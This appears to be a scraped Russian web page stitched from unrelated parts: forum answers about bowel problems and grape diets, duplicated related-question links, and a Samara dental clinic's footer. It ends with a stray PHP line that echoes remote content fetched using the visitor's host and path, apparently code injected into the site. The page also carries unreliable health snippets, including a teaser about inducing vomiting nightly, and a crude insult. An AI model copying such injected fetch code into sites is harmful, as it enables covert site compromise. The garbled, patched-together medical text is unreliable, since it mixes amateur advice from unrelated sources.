Ну и что мы тут можем посоветовать если у вас уже имеется конкретное заболевание. Надо обращаться к гастроэнтерологу или диетологу что бы пересмотреть диету, организм может меняться с возрастом, соответственно и диета может меняться, нужно пробовать все опытным путем, проверять какие продукты у вас лучше усваиваются, от каких становиться плохо, потому что не всегда врачи учитывают особенности организма. Нужно сдать анализы, обследоваться, пройти курс лечения, самолечением можно заниматься только если вы уже досконально знаете свой организм или заболевание у вас несерьезное и кратковременное.

В этом деле хорошо помагают свежие яблоки...

4. Рислинг белый виноград .Поэтому если вы решили находиться какое то время на виноградной диете употребля те виноград только мясистых сортов, так как в их составе есть...

У моей бабушки тоже было, у неё нашли рак в прямой кишке. Она умерла, идите к врачу пока не поздно. Потому что у неё была уже 4 стадия, у вас ещё начало наверное. Бегите!! Быстрее! Лучше проверьтесь лишний раз) Удачи*)

Бросайте свою диету. Лучше займитесь спортом.

Сколько лет и нет ли еще проблем со здоровьем?

По моему кал должен быть коричневым, а что бы не было запора выпейте скишое молоко или ряжеку

Слизь в кишечнике может явится причиной повышенной продукции ее железами кишечника. Если, например, есть постоянное раздражающее действие на слизистую кишки (поражающее вещество или микроорганизмы), так кишечник пытается это нейтрализовать. У вас в кишечнике воспаление, вследствие этого и моторика угнетена, и слизи много. Советую колоноскопию для уточнения диагноза с последующим лечением. Не затягивайте.

Избавиться от лишних 2-3 килограммов за это время вам поможет виноградная диета.буженины ужин фруктовый салат из 100 г белого винограда, 50 г ананаса,четвертинки папайи...

ВАМ к ВРАЧАМ..

Прекращай все диеты.

Бросайте диету и идите к врачу! Бывает так, когда диета ну не подходит....

Нарушения с желудком именно из-за диет обычно.

Хватит пердеть сколько можно уже воняет уже вся Россия фу блять....

  • Бандаж и похудение - Можно носить пояс для похудения аб жимник после кесорево Пресс надо качать, а не обживать живот резинками. Пояс для поху
  • Кофейно-Табачная диета - Кто набрал вес после того как бросил курить?поделитесь Килограмм 15 за пару месяцев прибавил) ) Сам аж немного в шоке бы
  • Как убрать живот и ляшки за неделю - Как быстро похудеть. Нужно убрать жир с боков, живота, ляжек... У нас тоже кот толстый. Всем офисом его просто кормим. У
  • Как убрать живот и накачать мышцы брюшного пресса - Выросло пузо шар желудок- как быть? и брюшные мышцы не могу накачать Да ты спортом занимайся как я надо мало есть и кажд
  • Диета при хронической надпочечниковой недостаточности - Как можно лечить муковисцидоз Срочно! Если самостоятельно вызывать рвоту каждый вечер войдет это в привычку для организм
  • Диета шесть предметов - Тренеры))помогите) На плавание походи месяцок Диета шесть лепестков действительно помогла похудеть тысячам европейских д
  • Как похудеть, что нельзя есть - Если не кушать после 6 вечера,за какой срок можно похудеть? Если весь день объедаться сладостями и мучным, то ни за како
  • Диета при оксалатах в моче у котов - Оксалаты в моче у кота. Вам должны были назначить диету. У животных, как и у людей могут быть метаболические (обменные)
  • Мужская майка для похудения - Очень нужна ваша помощь.Мне 15 лет, страдаю от лишнего веса. рост 163, вес 70 А мне что сделать мне 17 лет вешу 49кг рос
  • Диета от усталости - Есть ДИЕТА от усталости? Отдихатььь!! Диета против усталости. Американские специалисты назвали список продуктов, которые
  • Бандаж и похудение - Можно носить пояс для похудения аб жимник после кесорево Пресс надо качать, а не обживать живот резинками. Пояс для поху
  • Кофейно-Табачная диета - Кто набрал вес после того как бросил курить?поделитесь Килограмм 15 за пару месяцев прибавил) ) Сам аж немного в шоке бы
  • Как убрать живот и ляшки за неделю - Как быстро похудеть. Нужно убрать жир с боков, живота, ляжек... У нас тоже кот толстый. Всем офисом его просто кормим. У
  • Как убрать живот и накачать мышцы брюшного пресса - Выросло пузо шар желудок- как быть? и брюшные мышцы не могу накачать Да ты спортом занимайся как я надо мало есть и кажд
  • Диета при хронической надпочечниковой недостаточности - Как можно лечить муковисцидоз Срочно! Если самостоятельно вызывать рвоту каждый вечер войдет это в привычку для организм
  • Диета шесть предметов - Тренеры))помогите) На плавание походи месяцок Диета шесть лепестков действительно помогла похудеть тысячам европейских д
  • Как похудеть, что нельзя есть - Если не кушать после 6 вечера,за какой срок можно похудеть? Если весь день объедаться сладостями и мучным, то ни за како
  • Диета при оксалатах в моче у котов - Оксалаты в моче у кота. Вам должны были назначить диету. У животных, как и у людей могут быть метаболические (обменные)
  • Мужская майка для похудения - Очень нужна ваша помощь.Мне 15 лет, страдаю от лишнего веса. рост 163, вес 70 А мне что сделать мне 17 лет вешу 49кг рос
  • Диета от усталости - Есть ДИЕТА от усталости? Отдихатььь!! Диета против усталости. Американские специалисты назвали список продуктов, которые
Диета белый виноград
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта